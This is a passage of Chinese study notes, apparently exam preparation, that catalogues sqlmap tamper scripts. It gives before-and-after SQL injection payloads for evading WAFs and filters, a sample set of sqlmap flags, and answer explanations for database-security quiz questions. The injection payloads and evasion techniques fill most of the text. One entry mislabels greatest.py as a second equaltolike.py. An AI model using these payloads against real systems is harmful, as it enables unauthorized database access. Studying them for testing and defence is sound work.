使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
base64encode.py
适用数据库:ALL
作用:替换为base64编码
使用脚本前:tamper("1' AND SLEEP(5)#")
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==
multiplespaces.py
适用数据库:ALL
作用:围绕sql关键字添加多个空格
使用脚本前:tamper('1 UNION SELECT foobar')
使用脚本后:1 UNION SELECT foobar
space2plus.py
适用数据库:ALL
作用:用加号替换空格
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT+id+FROM+users
nonrecursivereplacement.py
适用数据库:ALL
作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
使用脚本前:tamper('1 UNION SELECT 2--')
使用脚本后:1 UNIOUNIONN SELESELECTCT 2--
space2randomblank.py
适用数据库:ALL
作用:将空格替换为其他有效字符
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Did%0DFROM%0Ausers
unionalltounion.py
适用数据库:ALL
作用:将union allselect 替换为unionselect
使用脚本前:tamper('-1 UNION ALL SELECT')
使用脚本后:-1 UNION SELECT
securesphere.py
适用数据库:ALL
作用:追加特定的字符串
使用脚本前:tamper('1 AND 1=1')
使用脚本后:1 AND 1=1 and '0having'='0having'
space2dash.py
适用数据库:ALL
作用:将空格替换为--,并添加一个随机字符串和换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227
space2mssqlblank.py
适用数据库:Microsoft SQL Server
测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用:将空格随机替换为其他空格符号('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Eid%0DFROM%07users
between.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:用NOT BETWEEN 0 AND #替换>
使用脚本前:tamper('1 AND A > B--')
使用脚本后:1 AND A NOT BETWEEN 0 AND B--
percentage.py
适用数据库:ASP
测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
作用:在每个字符前添加一个%
使用脚本前:tamper('SELECT FIELD FROM TABLE')
使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
sp_password.py
适用数据库:MSSQL
作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
使用脚本前:tamper('1 AND 9227=9227-- ')
使用脚本后:1 AND 9227=9227-- sp_password
charencode.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
randomcase.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:随机大小写
使用脚本前:tamper('INSERT')
使用脚本后:INseRt
charunicodeencode.py
适用数据库:ASP、ASP.NET
测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用:适用字符串的unicode编码
使用脚本前:tamper('SELECT FIELD%20FROM TABLE')
使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
space2comment.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将空格替换为/**/
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT/**/id/**/FROM/**/users
equaltolike.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用:将=替换为LIKE
使用脚本前:tamper('SELECT * FROM users WHERE id=1')
使用脚本后:SELECT * FROM users WHERE id LIKE 1
equaltolike.py
测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将>替换为GREATEST,绕过对>的过滤
使用脚本前:tamper('1 AND A > B')
使用脚本后:1 AND GREATEST(A,B+1)=A
ifnull2ifisnull.py
适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
测试通过数据库:MySQL 5.0 and 5.5
作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
使用脚本前:tamper('IFNULL(1, 2)')
使用脚本后:IF(ISNULL(1),2,1)
modsecurityversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:过滤空格,使用mysql内联注释的方式进行注入
使用脚本前:tamper('1 AND 2>1--')
使用脚本后:1 /*!30874AND 2>1*/--
space2mysqlblank.py
适用数据库:MySQL
测试通过数据库:MySQL 5.1
作用:将空格替换为其他空格符号('%09', '%0A', '%0C', '%0D', '%0B')
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Bid%0DFROM%0Cusers
modsecurityzeroversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:使用内联注释方式(/*!00000*/)进行注入
使用脚本前:tamper('1 AND 2>1--')
使用脚本后:1 /*!00000AND 2>1*/--
space2mysqldash.py
适用数据库:MySQL、MSSQL
作用:将空格替换为 -- ,并追随一个换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1--%0AAND--%0A9227=9227
bluecoat.py
适用数据库:Blue Coat SGOS
测试通过数据库:MySQL 5.1,、SGOS
作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
使用脚本前:tamper('SELECT id FROM users where id = 1')
使用脚本后:SELECT%09id FROM users where id LIKE 1
versionedkeywords.py
适用数据库:MySQL
测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
作用:注释绕过
使用脚本前:tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
halfversionedmorekeywords.py
适用数据库:MySQL < 5.1
测试通过数据库:MySQL 4.0.18/5.0.22
作用:在每个关键字前添加mysql版本注释
使用脚本前:tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
使用脚本后:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa
space2morehash.py
适用数据库:MySQL >= 5.1.13
测试通过数据库:MySQL 5.1.41
作用:将空格替换为#,并添加一个随机字符串和换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
apostrophenullencode.py
适用数据库:ALL
作用:用非法双字节Unicode字符替换单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %00%271%00%27=%00%271
appendnullbyte.py
适用数据库:ALL
作用:在有效载荷的结束位置加载null字节字符编码
使用脚本前:tamper('1 AND 1=1')
使用脚本后:1 AND 1=1%00
chardoubleencode.py
适用数据库:ALL
作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
unmagicquotes.py
适用数据库:ALL
作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
使用脚本前:tamper("1' AND 1=1")
使用脚本后:1%bf%27 AND 1=1--
randomcomments.py
适用数据库:ALL
作用:用注释符分割sql关键字
使用脚本前:tamper('INSERT')
使用脚本后:I/**/N/**/SERT
--tamper=space2comment
--random-agent
--level 5 -v 3
--thread 10
--no-cast
--sql-query="select user(),version(),database()"
答案:
1、解析: A、解析:架构(Schema)是形成单个命名空间的数据库实体的集合。
架构不负责权限的授予,其主要目的是将架构管理与用户管理分开,并使删除数据库用户变得极为简单。
在 MSSQL 中,用户(User)和架构是隐含关联的,即每个用户拥有与其同名的架构。
因此要删除一个用户,必须先删除或修改这个用户所拥有的所有数据库对象,
就比如 一个员工要离职要删除他的账户的时候,还得将他所创建的表和视图等都删除,影响过大。
SQL SERVER 2005/2008将架构和对象者分离后就不在存在这样的问题,删除用户的时候不需要重命名该用户架构所包含的对象,在删除创建架构所含对象的用户后,不再需要修改和测试显式引用这些对象的应用程序。
2、解析: D、如果使用WITH ADMIN OPTION为某个用户授予系统权限,那么对于被这个用户授予相同权限的所有用户来说,取消该用户的系统权限并不会级联取消这些用户的相同权限。
即权限传递不会被收回。
3、解析: B、解析:Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用 null代替某些无法快速猜测出数据类型的位置。
而Mysql没有这类限制
4、解析: D、解析:Oracle存在提权漏洞的一个重要原因是PL/SQL定义的两种调用权限导致,
默认使用该存储过程的调用权限。
5、解析: B、解析:MSSQL是一个服务,不是一个应用程序,
因此需要在services.msc进行管理、配置